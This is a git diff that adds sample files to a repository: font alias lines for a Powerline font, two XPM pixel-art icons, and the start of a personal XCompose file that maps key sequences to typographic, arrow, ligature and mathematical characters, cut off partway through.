+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-6.16
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-6.8x
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-9
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-koi8-e
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-koi8-r
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-koi8-ru
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-koi8-u
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-koi8-uni
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-microsoft-cp1252
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-suneu-greek
diff --git a/samples/X PixMap/cc-public_domain_mark_white.pm b/samples/X PixMap/cc-public_domain_mark_white.pm
new file mode 100644
index 0000000000..700da8ef10
--- /dev/null
+++ b/samples/X PixMap/cc-public_domain_mark_white.pm	
@@ -0,0 +1,76 @@
+/* XPM */
+static char *cc_public_domain_mark_white[] = {
+/* columns rows colors chars-per-pixel */
+"52 53 17 1 ",
+"  c black",
+". c #111111111111",
+"X c #222222222222",
+"o c gray20",
+"O c #444444444444",
+"+ c #555555555555",
+"@ c gray40",
+"# c #777777777777",
+"$ c #888888888888",
+"% c gray60",
+"& c #AAAAAAAAAAAA",
+"* c #BBBBBBBBBBBB",
+"= c gray80",
+"- c #DDDDDDDDDDDD",
+"; c #EEEEEEEEEEEE",
+": c white",
+"> c None",
+/* pixels */
+">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>",
+">>>>>>>>>>>>>>>>>>>             >>>>>>>>>>>>>>>>>>>>",
+">>>>>>>>>>>>>>>>                   >>>>>>>>>>>>>>>>>",
+">>>>>>>>>>>>>>                       >>>>>>>>>>>>>>>",
+">>>>>>>>>>>>                           >>>>>>>>>>>>>",
+">>>>>>>>>>>           .OOOOX             >>>>>>>>>>>",
+">>>>>>>>>         .@&-:::::::;%@.         >>>>>>>>>>",
+">>>>>>>>        X%:::::::::::::::&O        >>>>>>>>>",
+">>>>>>>       .%:::::::::::::::::::%X       >>>>>>>>",
+">>>>>>       +;::::::::::::::::::::::#       >>>>>>>",
+">>>>>       $:::::::::::::::::::::::::%.      >>>>>>",
+">>>>>      %:::::::::::::::::::::::::::=.      >>>>>",
+">>>>      %:::::::::::::::::::::::::::::=.     >>>>>",
+">>>      $:::::::::::;$@Oo XO#&::::::::::%      >>>>",
+">>>     +::::::::::=+          X$:::::::::#     >>>>",
+">>      .#-:::::::$.             O-::::::::X     >>>",
+">>         @=::::@               .=::::::::%     >>>",
+">>           O&:%               .=::::::::::O     >>",
+">              X          o    .=:::::::::::&     >>",
+">     X                 #;::*o.=:::::::::::::.    >>",
+">    o:%O              &::::::-::::::::::::::@     >",
+"     #:::*@           X*:::::::::::::::::::::%     >",
+"     &:::::-#.          X%:::::::::::::::::::;     >",
+"     -:::::::;            .#;:::::::::::::::::     >",
+"     ::::::::*               @-:::::::::::::::X    >",
+"     ::::::::*                 +*:::::::::::::O    >",
+"     ::::::::*       X.          o%:::::::::::O    >",
+"     ::::::::*       #;#X          X#;::::::::o    >",
+"     ;:::::::-       +:::%o          .@-::::::     >",
+"     *::::::::       .:::::*+           +*:::;     >",
+"     &::::::::X       %::::::-@.          o%:*     >",
+"     @::::::::#       X;:::::::;#X          X@     >",
+">    .::::::::=        o;::::-O=::%o               >",
+">     =::::::::O        .#*&@. X;:::*+            >>",
+">     @::::::::-                o:::::-@.         >>",
+">>     -::::::::%                @::::::;#X       >>",
+">>     @:::::::::%                *::::::::@     >>>",
+">>      =:::::::::*X            .$::::::::;.     >>>",
+">>>     o;:::::::::;$X        .@-:::::::::+     >>>>",
+">>>      +::::::::::::=$@OO+#&;::::::::::$      >>>>",
+">>>>      #:::::::::::::::::::::::::::::%      >>>>>",
+">>>>>      #:::::::::::::::::::::::::::%      >>>>>>",
+">>>>>>      +;::::::::::::::::::::::::$       >>>>>>",
+">>>>>>       o=:::::::::::::::::::::;O       >>>>>>>",
+">>>>>>>        @-:::::::::::::::::;#.       >>>>>>>>",
+">>>>>>>>         @=:::::::::::::-#.        >>>>>>>>>",
+">>>>>>>>>>         .@&*;::::;&#o          >>>>>>>>>>",
+">>>>>>>>>>>                             >>>>>>>>>>>>",
+">>>>>>>>>>>>                           >>>>>>>>>>>>>",
+">>>>>>>>>>>>>>                       >>>>>>>>>>>>>>>",
+">>>>>>>>>>>>>>>>>                 >>>>>>>>>>>>>>>>>>",
+">>>>>>>>>>>>>>>>>>>>           >>>>>>>>>>>>>>>>>>>>>",
+">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>"
+};
diff --git a/samples/X PixMap/stick-unfocus.xpm b/samples/X PixMap/stick-unfocus.xpm
new file mode 100644
index 0000000000..10b0a2f400
--- /dev/null
+++ b/samples/X PixMap/stick-unfocus.xpm	
@@ -0,0 +1,40 @@
+/* XPM */
+static char * stick_unfocus_xpm[] = {
+"20 17 20 1",
+" 	c None",
+".	c #EBEBEB",
+"+	c #E9E9E9",
+"@	c #E6E6E6",
+"#	c #E5E5E5",
+"$	c #E2E2E2",
+"%	c #DFDFDF",
+"&	c #DEDEDE",
+"*	c #FEFEFE",
+"=	c #C4C4C4",
+"-	c #898989",
+";	c #B7B7B7",
+">	c #6A6A6A",
+",	c #B9B9B9",
+"'	c #E4E4E4",
+")	c #686868",
+"!	c #E0E0E0",
+"~	c #666666",
+"{	c #E8E8E8",
+"]	c #E1E1E1",
+"....................",
+"....................",
+".....+@#$%&%$#@+....",
+"....+*********=&+...",
+"....@*********-=#...",
+"....#**;;;;;**>,'...",
+"....$**;**;;**);$...",
+"....%**;;;;;**>;&...",
+"....&**;***;**>;&...",
+"....&**;;;;;**>;&...",
+"....!*********~;!...",
+"....!*********>,&...",
+"....@=->)>>>)>-=#...",
+"....+&=,;;;;;,=&+...",
+".....{]%%&&&&%@+....",
+"....................",
+"...................."};
diff --git a/samples/XCompose/filenames/XCompose b/samples/XCompose/filenames/XCompose
new file mode 100644
index 0000000000..c87c297eec
--- /dev/null
+++ b/samples/XCompose/filenames/XCompose
@@ -0,0 +1,1297 @@
+# for Emacs: -*- coding: utf-8 -*-
+include "%L"
+
+# def emit(keys, codepoint, word):
+#     print ('<Multi_key> %s <period>\t: "%s"\tU%04X\t\t# CIRCLED DIGIT %s' % 
+#            (keys, unichr(codepoint), codepoint, word)).encode('utf8')
+# numbers = 'one two three four five six seven eight nine ten eleven twelve thirteen fourteen fifteen sixteen seventeen eighteen nineteen twenty'
+# words = numbers.upper().split()
+# emit('<0>', 0x24EA, "ZERO")
+# for num, word in zip(range(1, 21), words):
+#     emit(' '.join("<%s>" % char for char in str(num)), 0x245f + num, word)
+
+# Custom additions: Typography
+<Multi_key> <period> <period>		: "…"	U2026		# HORIZONTAL ELLIPSIS
+<Multi_key> <v> <period> <period>	: "⋮"	U22EE		# VERTICAL ELLIPSIS
+<Multi_key> <c> <period> <period>	: "⋯"	U22EF		# MIDLINE HORIZONTAL ELLIPSIS
+<Multi_key> <slash> <period> <period>	: "⋰"	U22F0		# UP RIGHT DIAGONAL ELLIPSIS
+# To avoid conflict with \. for combining dot above.
+#<Multi_key> <backslash> <period> <period> : "⋱" U22F1		# DOWN RIGHT DIAGONAL ELLIPSIS
+<Multi_key> <period> <backslash> <period> : "⋱" U22F1		# DOWN RIGHT DIAGONAL ELLIPSIS
+# Will we someday regret this, wanting 2. for ⒉ ?
+<Multi_key> <2> <period>	 	  : "‥"	U2025		# TWO DOT LEADER
+# This should not be needed.
+#<Multi_key> <1> <period>		  : "․"	U2024		# ONE DOT LEADER
+<Multi_key> <c> <1> <period>		  : "·"	U00B7		# MIDDLE DOT (maybe I can remember the keystroke better?
+<Multi_key> <period> <slash> <period>	: "⁒"	U2052		# COMMERCIAL MINUS SIGN
+# Printable sign for space.  But is \<space> too useful a key combo to use
+# for this?
+<Multi_key> <backslash> <space>		: "␣"	U2423		# OPEN BOX
+# These two are already present for me:
+# <Multi_key> <minus> <minus> <minus>	: "—"	U2014		# EM DASH
+# <Multi_key> <minus> <minus> <period>	: "–"	U2013		# EN DASH
+<Multi_key> <minus> <minus> <space>	: "– "			# EN DASH (followed by space)
+<Multi_key> <minus> <asciitilde> <minus> : "―" U2015 # HORIZONTAL BAR
+<Multi_key> <minus> <2> <M>	 	 : "⸺" U2E3A # TWO-EM DASH
+<Multi_key> <minus> <3> <M>	 	 : "⸻" U2E3B # THREE-EM DASH
+<Multi_key> <backslash> <minus>		: "­"	U00AD		# SOFT HYPHEN
+# This is the recommended typographical practice for em dashes in English.
+# Unfortunately, it doesn’t work out all that well in monospace fonts,
+# where the thin spaces aren’t thin.  But I think this is okay.
+# This conflicts with the default binding to “~”, which is potentially
+# a problem for non-American keyboards.
+<Multi_key> <space> <minus>             : " — "                 # EM DASH surrounded by THIN SPACEs.
+
+
+# Quotation marks.
+<Multi_key> <comma> <space>		: "‚"	U201A		# SINGLE LOW-9 QUOTATION MARK
+<Multi_key> <comma> <comma>		: "„"	U201E		# DOUBLE LOW-9 QUOTATION MARK
+<Multi_key> <less> <comma> <comma>	: "⹂"	U2E42		# DOUBLE LOW-REVERSED-9 QUOTATION MARK
+<Multi_key> <apostrophe> <space>	: "’"	U2019		# RIGHT SINGLE QUOTATION MARK
+<Multi_key> <apostrophe> <apostrophe>	: "”"	U201D		# RIGHT DOUBLE QUOTATION MARK
+<Multi_key> <grave> <space>		: "‘"	U2018		# LEFT SINGLE QUOTATION MARK
+<Multi_key> <grave> <grave>		: "“"	U201C		# LEFT DOUBLE QUOTATION MARK
+<Multi_key> <6> <apostrophe>		: "‘"	U2018		# LEFT SINGLE QUOTATION MARK (high 6)
+<Multi_key> <6> <quotedbl>		: "“"	U201C		# LEFT DOUBLE QUOTATION MARK (66)
+<Multi_key> <9> <apostrophe>		: "’"	U2019		# RIGHT SINGLE QUOTATION MARK (high 9)
+<Multi_key> <9> <quotedbl>		: "”"	U201D		# RIGHT DOUBLE QUOTATION MARK (99)
+<Multi_key> <less> <9> <apostrophe>	: "‛"	U201B		# SINGLE HIGH-REVERSED-9 QUOTATION MARK
+<Multi_key> <less> <9> <quotedbl>	: "‟"	U201F		# DOUBLE HIGH-REVERSED-9 QUOTATION MARK
+<Multi_key> <comma> <apostrophe>	: "‚"	U201A		# SINGLE LOW-9 QUOTATION MARK (quote resembling a comma)
+<Multi_key> <comma> <quotedbl>		: "„"	U201E		# DOUBLE LOW-9 QUOTATION MARK
+
+# Convenience shortcuts for quotation marks.
+<Multi_key> <space> <quotedbl>          : " “"                  # space followed by LEFT DOUBLE QUOTATION MARK
+<Multi_key> <quotedbl> <space>          : "” "                  # RIGHT DOUBLE QUOTATION MARK followed by space
+<Multi_key> <space> <apostrophe>        : " ‘"                # space followed by LEFT SINGLE QUOTATION MARK
+# Unfortunately <apostrophe> <space> is, asymmetrically, just "’".  Whatever.
+<Multi_key> <n> <t>                     : "n’t "              # Apostrophized English “not.”
+# Some more English shortcuts:
+<Multi_key> <space> <t>                 : " the "
+<Multi_key> <space> <T>                 : "  The "
+<Multi_key> <space> <a>                 : " and "
+<Multi_key> <i> <m>                     : " I’m "
+<Multi_key> <v> <e>                     : "’ve "
+
+<Multi_key> <comma> <at>		: "⸲"	U2E32		# TURNED COMMA
+# Conflicts with system def? (·)
+<Multi_key> <period> <asciicircum>	: "⸳"	U2E33		# RAISED DOT
+<Multi_key> <period> <asciitilde>	: "⸳"	U2E33		# RAISED DOT
+<Multi_key> <comma> <asciicircum>	: "⸴"	U2E34		# RAISED COMMA
+<Multi_key> <semicolon> <at>		: "⸵"	U2E35		# TURNED SEMICOLON
+# Convlicts with system def? (⍭)
+<Multi_key> <asciitilde> <bar>		: "ⸯ"	U2E2F		# VERTICAL TILDE
+<Multi_key> <asciicircum> <bar>		: "ⸯ"	U2E2F		# VERTICAL TILDE
+<Multi_key> <minus> <equal>		: "⹀"	U2E40		# DOUBLE HYPHEN
+<Multi_key> <comma> <less>		: "⹁"	U2E41		# REVERSED COMMA
+<Multi_key> <less> <bar>		: "↵"	U21B5		# DOWNWARDS ARROW WITH CORNER LEFTWARDS
+# The bullet was <o> <period>, but it clashes with ꙭ
+<Multi_key> <asterisk> <1>		: "•"	U2022		# BULLET
+# By default <Multi_key> <period> <period> does this, but we broke that with the ... binding.
+<Multi_key> <o> <underscore>		: "⁃"   U2043		# HYPHEN BULLET
+<Multi_key> <o> <comma>			: "·"	periodcentered	# MIDDLE DOT
+# I don’t use this nearly as often as the em-dash sequence I’ve remapped it to:
+#<Multi_key> <space> <minus>		: "‑"	U2011		# NON-BREAKING HYPHEN
+# Already present for me:
+# <Multi_key> <space> <space>		: " "	U00A0		# NO-BREAK SPACE
+# Do we want/need these?
+<Multi_key> <d> <a> <g>			: "†"	U2020		# DAGGER
+<Multi_key> <d> <d> <a> <g>		: "‡"	U2021		# DOUBLE DAGGER
+# We used to have THIN SPACE as <space> <apostrophe>, but now that’s remapped
+# to " ‘", for conveniently enclosing things in proper single-quotes.
+<Multi_key> <backslash> <comma>		: " "	U2009		# THIN SPACE
+<Multi_key> <s> <e> <c> : "§"   U00A7   # SECTION SIGN
+# It's in the Asian section, but it's a general-purpose punctuation:
+<Multi_key> <quotedbl> <quotedbl>       : "〃"	U3003		# DITTO MARK
+# Working with the pattern from FLOOR/CEILING
+<Multi_key> <7> <asciicircum> <bracketleft>  : "⸢"  U2E22	# TOP LEFT HALF BRACKET
+<Multi_key> <7> <asciicircum> <bracketright> : "⸣"  U2E23	# TOP RIGHT HALF BRACKET
+<Multi_key> <L> <underscore> <bracketleft>   : "⸤"  U2E24	# BOTTOM LEFT HALF BRACKET
+<Multi_key> <L> <underscore> <bracketright>  : "⸥"  U2E25	# BOTTOM RIGHT HALF BRACKET
+# Consider <7> <less>/<greater> for ⸂⸃ maybe? <S> and <slash> for ⸉⸊⸌⸍ ...?
+# I guess we can get by with sub/superset for ⸦⸧.
+
+<Multi_key> <minus> <less>		: "←"	leftarrow	# LEFTWARDS ARROW
+<Multi_key> <minus> <asciicircum>	: "↑"	uparrow		# UPWARDS ARROW
+<Multi_key> <minus> <greater>		: "→"	rightarrow	# RIGHTWARDS ARROW
+<Multi_key> <minus> <v>			: "↓"	downarrow	# DOWNWARDS ARROW
+<Multi_key> <less> <minus> <greater>	: "↔"	U2194           # LEFT RIGHT ARROW (kragen's)
+
+<Multi_key> <Left> <Left>		: "←"	leftarrow	# LEFTWARDS ARROW
+<Multi_key> <Up> <Up>			: "↑"	uparrow		# UPWARDS ARROW
+<Multi_key> <Right> <Right>		: "→"	rightarrow	# RIGHTWARDS ARROW
+<Multi_key> <Down> <Down>		: "↓"	downarrow	# DOWNWARDS ARROW
+<Multi_key> <Left> <Right>		: "↔"	U2194           # LEFT RIGHT ARROW (kragen's)
+<Multi_key> <Right> <Left>		: "↔"	U2194           # LEFT RIGHT ARROW (kragen's)
+<Multi_key> <Up> <Down>			: "↕"	U2195           # UP DOWN ARROW (kragen's)
+<Multi_key> <Up> <ampersand> <Down>     : "⇵"	U21F5		# DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW
+<Multi_key> <Down> <Left>		: "↵"	U21B5		# DOWNWARDS ARROW WITH CORNER LEFTWARDS
+<Multi_key> <Left> <o>			: "⟲"	U27F2		# ANTICLOCKWISE GAPPED CIRCLE ARROW
+<Multi_key> <Right> <o>			: "⟳"	U27F3		# CLOCKWISE GAPPED CIRCLE ARROW
+<Multi_key> <Left> <c>			: "↺"	U21BA		# ANTICLOCKWISE OPEN CIRCLE ARROW
+<Multi_key> <Right> <c>			: "↻"	U21BB		# CLOCKWISE OPEN CIRCLE ARROW
+<Multi_key> <Left> <asciitilde>		: "⇜"	U21DC		# LEFTWARDS SQUIGGLE ARROW
+<Multi_key> <Right> <asciitilde>	: "⇝"	U21DD		# RIGHTWARDS SQUIGGLE ARROW
+<Multi_key> <Left> <bar>       		: "⇤"	U21E4		# LEFTWARDS ARROW TO BAR
+<Multi_key> <Right> <bar>       	: "⇥"	U21E5		# RIGHTWARDS ARROW TO BAR
+<Multi_key> <Left> <minus>     		: "⇠"	U21E0		# LEFTWARDS DASHED ARROW
+<Multi_key> <Up> <minus>     		: "⇡"	U21E1		# UPWARDS DASHED ARROW
+<Multi_key> <Right> <minus>     	: "⇢"	U21E2		# RIGHTWARDS DASHED ARROW
+<Multi_key> <Down> <minus>      	: "⇣"	U21E3		# DOWNWARDS DASHED ARROW
+
+# Arrow keys don't always work: some apps trap them for cursor control and
+# other boring things.  The arrow symbols have alternate keystrokes.  Do
+# we need others for these printer's fists?  If so, what?  The -= and =-
+# we had before are not necessarily the best choices.
+<Multi_key> <F> <Left>		: "☚"	U261A		# BLACK LEFT POINTING INDEX
+<Multi_key> <F> <Right>		: "☛"	U261B		# BLACK RIGHT POINTING INDEX
+<Multi_key> <f> <Left>		: "☜"	U261C		# WHITE LEFT POINTING INDEX
+<Multi_key> <f> <Up>		: "☝"	U261D		# WHITE UP POINTING INDEX
+<Multi_key> <f> <Right>		: "☞"	U261E		# WHITE RIGHT POINTING INDEX
+<Multi_key> <f> <Down>		: "☟"	U261F		# WHITE DOWN POINTING INDEX
+<Multi_key> <f> <v>   		: "✌"   U270C   	# VICTORY HAND
+<Multi_key> <f> <w>   		: "✍"   U270D   	# WRITING HAND
+<Multi_key> <f> <p> <Down>	: "✎"   U270E   	# LOWER RIGHT PENCIL
+<Multi_key> <f> <p> <Right>	: "✏"   U270F   	# PENCIL
+<Multi_key> <f> <p> <Up>	: "✐"   U2710   	# UPPER RIGHT PENCIL
+
+# For some logical statements.  I prefer doubled arrows for implication.
+<Multi_key> <equal> <greater>		: "⇒"	U21D2		# RIGHTWARDS DOUBLE ARROW
+<Multi_key> <equal> <less>		: "⇐"	U21D0		# LEFTWARDS DOUBLE ARROW
+<Multi_key> <less> <minus> <equal> <greater> : "⇔" U21D4 # LEFT RIGHT DOUBLE ARROW 
+<Multi_key> <equal> <Right> <Right>	: "⇒"	U21D2		# RIGHTWARDS DOUBLE ARROW
+<Multi_key> <equal> <Left> <Left>	: "⇐"	U21D0		# LEFTWARDS DOUBLE ARROW
+<Multi_key> <equal> <Left> <Right>	: "⇔"	U21D4	# LEFT RIGHT DOUBLE ARROW
+<Multi_key> <equal> <Right> <Left>	: "⇔"	U21D4	# LEFT RIGHT DOUBLE ARROW
+<Multi_key> <equal> <Up> <Up>		: "⇑"	U21D1	# UPWARDS DOUBLE ARROW
+<Multi_key> <equal> <Down> <Down>	: "⇓"	U21D3	# DOWNWARDS DOUBLE ARROW
+<Multi_key> <equal> <Up> <Down>		: "⇕"	U21D5	# UP DOWN DOUBLE ARROW
+<Multi_key> <equal> <Down> <Left>	: "⏎"	U23CE	# RETURN SYMBOL
+# These are just too cool-looking not to have (if your font supports them)
+<Multi_key> <equal> <period> <equal>	: "⸎"	U2E0E		# EDITORIAL CORONIS
+<Multi_key> <Multi_key> <p> <a> <l> <m>	: "⸙"	U2E19		# PALM BRANCH
+<Multi_key> <Multi_key> <b> <r> <a> <n> <c> <h>: "⸙"	U2E19		# PALM BRANCH
+
+
+<Multi_key> <f> <f>		: "ff"	   UFB00   # LATIN SMALL LIGATURE FF
+<Multi_key> <f> <i>		: "fi"	   UFB01   # LATIN SMALL LIGATURE FI
+<Multi_key> <F> <i>		: "ffi"	   UFB03   # LATIN SMALL LIGATURE FFI
+<Multi_key> <f> <l>		: "fl"	   UFB02   # LATIN SMALL LIGATURE FL
+<Multi_key> <F> <l>		: "ffl"	   UFB04   # LATIN SMALL LIGATURE FFL
+<Multi_key> <s> <t>		: "st"  UFB06	   # LATIN SMALL LIGATURE ST
+<Multi_key> <f> <t>		: "ſt"  UFB05	   # LATIN SMALL LIGATURE LONG S T
+# allow me still to use my ſ key, okay?
+<Multi_key> <U017F> <t>		: "ſt"  UFB05	   # LATIN SMALL LIGATURE LONG S T
+# ß is already available as <s><s> I think.  But now it comes in industrial size!
+<Multi_key> <S> <S> 		: "ẞ"  U1E9E	   # LATIN CAPITAL LETTER SHARP S
+
+# Eventually we'll have to look over the really crazy-cakes Latin letters 
+# they're adding as "mediævalist extensions"
+# ꜢꜣꜤꜥ for the Egyptologists, Ꝏꝏ because they're cꝏl...  Maybe some others.
+# Can't do <o> <o> for ꝏ though, since that's already °.
+# Epigraphics should not be missed:
+<Multi_key> <F> <less>		: "ꟻ"	UA7FB	# LATIN EPIGRAPHIC LETTER REVERSED F
+<Multi_key> <P> <less>		: "ꟼ"	UA7FC	# LATIN EPIGRAPHIC LETTER REVERSED P
+<Multi_key> <F> <BackSpace>		: "ꟻ"	UA7FB	# LATIN EPIGRAPHIC LETTER REVERSED F
+<Multi_key> <P> <BackSpace>		: "ꟼ"	UA7FC	# LATIN EPIGRAPHIC LETTER REVERSED P
+<Multi_key> <M> <W>		: "ꟽ"	UA7FD	# LATIN EPIGRAPHIC LETTER INVERTED M
+<Multi_key> <I> <bar>		: "ꟾ"	UA7FE	# LATIN EPIGRAPHIC LETTER I LONGA
+<Multi_key> <M> <slash>		: "ꟿ"	UA7FF	# LATIN EPIGRAPHIC LETTER ARCHAIC M
+# I'd been avoiding this because we already have ∃...
+# Hey, these, being *letters* can be used as identifiers in some languages...
+<Multi_key> <E> <less>	 	 : "Ǝ"	    U018E	# LATIN CAPITAL LETTER REVERSED E
+<Multi_key> <E> <BackSpace>	 : "Ǝ"	    U018E	# LATIN CAPITAL LETTER REVERSED E
+<Multi_key> <e> <less>		 : "ɘ"	    U0258	# LATIN SMALL LETTER REVERSED E
+<Multi_key> <e> <BackSpace>	 : "ɘ"	    U0258	# LATIN SMALL LETTER REVERSED E
+# Complete the set
+<Multi_key> <A> <less>		 : "Ɐ"	    U2C6F	# LATIN CAPITAL LETTER TURNED A
+# These seem too long as keystrokes; any suggestions?
+# How about 2o?
+<Multi_key> <o> <ampersand> <o>	: "ꝏ"	UA74F	# LATIN SMALL LETTER OO
+<Multi_key> <O> <ampersand> <O> : "Ꝏ"	UA74E	# LATIN CAPITAL LETTER OO
+<Multi_key> <2> <o>	: "ꝏ"	UA74F	# LATIN SMALL LETTER OO
+<Multi_key> <2> <O> 	: "Ꝏ"	UA74E	# LATIN CAPITAL LETTER OO
+# Latin-D chars I'm particularly thinking about:
+# (side note: "I" has many referents in this file.)
+# ꜲꜳꜴꜵꜶꜷꜸꜹꜼꜽꝒꝓꝔꝕꝚꝛꝜꝝꝠꝡꝪꝫꝸ
+# The ligature pairs are so easy, might as well include them (probably
+# using ampersand though).  P with flourish?  Squirrel tail?  How
+# pretty!  I like the r and rum rotunda, and et actually has something
+# close to usefulness (it was very common for abbreviations, and is the 
+# source of the "z" in abbreviations like oz. and viz.)  Some others 
+# are a little appealing too.
+
+<Multi_key> <A> <ampersand> <A> :	"Ꜳ"	UA732		# LATIN CAPITAL LETTER AA
+<Multi_key> <a> <ampersand> <a> :	"ꜳ"	UA733		# LATIN SMALL LETTER AA
+<Multi_key> <2> <A> :	"Ꜳ"	UA732		# LATIN CAPITAL LETTER AA
+<Multi_key> <2> <a> :	"ꜳ"	UA733		# LATIN SMALL LETTER AA
+<Multi_key> <A> <ampersand> <O>	:	"Ꜵ"	UA734	# LATIN CAPITAL LETTER AO
+<Multi_key> <a> <ampersand> <o>	:	"ꜵ"	UA735	# LATIN SMALL LETTER AO
+<Multi_key> <A> <ampersand> <U>	:	"Ꜷ"	UA736	# LATIN CAPITAL LETTER AU
+<Multi_key> <a> <ampersand> <u>	:	"ꜷ"	UA737	# LATIN SMALL LETTER AU
+<Multi_key> <A> <ampersand> <V> :	"Ꜹ"	UA738	# LATIN CAPITAL LETTER AV
+<Multi_key> <a> <ampersand> <v> :	"ꜹ"	UA739	# LATIN SMALL LETTER AV
+<Multi_key> <A> <ampersand> <Y> :	"Ꜽ"	UA73C	# LATIN CAPITAL LETTER AY
+<Multi_key> <a> <ampersand> <y> :	"ꜽ"	UA73D	# LATIN SMALL LETTER AY
+<Multi_key> <slash> <ampersand> <L> :	"Ꝇ"	UA746	# LATIN CAPITAL LETTER BROKEN L
+<Multi_key> <slash> <ampersand> <l> :	"ꝇ"	UA747	# LATIN SMALL LETTER BROKEN L
+# (See above for reason behind keystrokes)
+<Multi_key> <Z> <period>	:	"Ꝫ"	UA75A	# LATIN CAPITAL LETTER ET
+<Multi_key> <z> <period>	:	"ꝫ"	UA75B	# LATIN SMALL LETTER ET
+<Multi_key> <V> <ampersand> <Y>	:	"Ꝡ"	UA760	# LATIN CAPITAL LETTER VY
+<Multi_key> <v> <ampersand> <y>	:	"ꝡ"	UA761	# LATIN SMALL LETTER VY
+<Multi_key> <C> <Z>	    	:	"Ꝣ"	UA762	# LATIN CAPITAL LETTER VISIGOTHIC Z
+<Multi_key> <c> <z>		:	"ꝣ"	UA763	# LATIN SMALL LETTER VISIGOTHIC Z
+<Multi_key> <L> <ampersand> <L>	:	"Ỻ"	U1EFA	# LATIN CAPITAL LETTER MIDDLE-WELSH LL
+<Multi_key> <l> <ampersand> <l>	:	"ỻ"	U1EFB	# LATIN SMALL LETTER MIDDLE-WELSH LL
+<Multi_key> <V> <ampersand> <V>	:	"Ỽ"	U1EFC	# LATIN CAPITAL LETTER MIDDLE-WELSH V
+<Multi_key> <v> <ampersand> <v>	:	"ỽ"	U1EFD	# LATIN SMALL LETTER MIDDLE-WELSH V
+<Multi_key> <d> <ampersand> <b>	:	"ȸ"	U0238	# LATIN SMALL LETTER DB DIGRAPH
+<Multi_key> <q> <ampersand> <p>	:	"ȹ"	U0239	# LATIN SMALL LETTER QP DIGRAPH
+<Multi_key> <w> <y>	    	:	"ƿ"	U01BF	# LATIN LETTER WYNN
+<Multi_key> <W> <Y>		:	"Ƿ"	U01F7	# LATIN CAPITAL LETTER WYNN
+<Multi_key> <O> <U>		:	"Ȣ"	U0222	# LATIN CAPITAL LETTER OU
+<Multi_key> <o> <u>		:	"ȣ"	U0223	# LATIN SMALL LETTER OU
+<Multi_key> <y> <r>		:	"Ʀ"	U01A6	# LATIN LETTER YR
+
+# Custom additions: Mathematical symbols
+<Multi_key> <exclam> <equal>		: "≠"	U2260		# NOT EQUAL TO
+<Multi_key> <slash> <equal>		: "≠"	U2260		# NOT EQUAL TO
+<Multi_key> <less> <equal>		: "≤"	U2264		# LESS-THAN OR EQUAL TO
+<Multi_key> <greater> <equal>		: "≥"	U2265		# GREATER-THAN OR EQUAL TO
+<Multi_key> <exclam> <less> <greater>   : "≸"	U2278		# NEITHER LESS-THAN NOR GREATER-THAN
+# MUCH is usually enough for me.  No need for VERY.
+<Multi_key> <plus> <less>        	: "≪"	U226A		# MUCH LESS-THAN
+<Multi_key> <plus> <greater> 		: "≫"	U226B		# MUCH GREATER-THAN
+# Damn.  That makes this conflict with the standard plus plus -> #
+<Multi_key> <plus> <plus> <less>        : "⋘"	U22D8		# VERY MUCH LESS-THAN
+<Multi_key> <plus> <plus> <greater>  	: "⋙"	U22D9		# VERY MUCH GREATER-THAN
+<Multi_key> <3> <greater> 		: "⋙"	U22D9		# VERY MUCH GREATER-THAN
+<Multi_key> <3> <less>			: "⋘"	U22D8		# VERY MUCH LESS-THAN
+<Multi_key> <i> <n>			: "∈"	U2208		# ELEMENT OF
+<Multi_key> <exclam> <i> <n>		: "∉"	U2209		# NOT AN ELEMENT OF
+<Multi_key> <U2208> <slash>		: "∉"	U2209		# NOT AN ELEMENT OF (I have ∈ on my keyboard...)
+<Multi_key> <n> <i>			: "∋"	U220B		# CONTAINS AS MEMBER  (I hope this doesn't conflict)
+<Multi_key> <slash> <n> <i>		: "∌"	U220C		# DOES NOT CONTAIN AS MEMBER
+# <exclam><n><i> would conflict, with <exclam> <n> for N WITH UNDERDOT, etc.
+<Multi_key> <U220B> <slash>		: "∌"	U220C		# DOES NOT CONTAIN AS MEMBER
+<Multi_key> <asciitilde> <equal>			: "≅"	U2245		# APPROXIMATELY EQUAL TO (It actually means "congruent"!)
+<Multi_key> <equal> <question>		: "≟"	U225f		# QUESTIONED EQUAL TO
+<Multi_key> <equal> <d> <e> <f>		: "≝"	U225D		# EQUAL TO BY DEFINITION
+<Multi_key> <d> <e> <f> <equal>		: "≝"	U225D		# EQUAL TO BY DEFINITION
+<Multi_key> <equal> <equal>		: "≡"	U2261		# IDENTICAL TO
+<Multi_key> <colon> <equal> 		: "≔"  U2254		# COLON EQUALS
+<Multi_key> <equal> <colon> 		: "≕"  U2255		# EQUALS COLON
+# Using <slash> conflicts.
+<Multi_key> <equal> <bar> <equal>	: "≢"	U2262		# NOT IDENTICAL TO
+# We already have ±
+<Multi_key> <minus> <plus>		: "∓"	U2213		# MINUS OR PLUS SIGN
+<Multi_key> <s> <q>			: "√"	U221A		# SQUARE ROOT
+# keystrokes might not make the most sense, but you know what they mean...
+<Multi_key> <3> <s> <q>			: "∛"	U221B	        # CUBE ROOT
+<Multi_key> <4> <s> <q>			: "∜"	U221C		# FOURTH ROOT
+    # “(Note: I had put the backslash in position 5/15. It enabled the
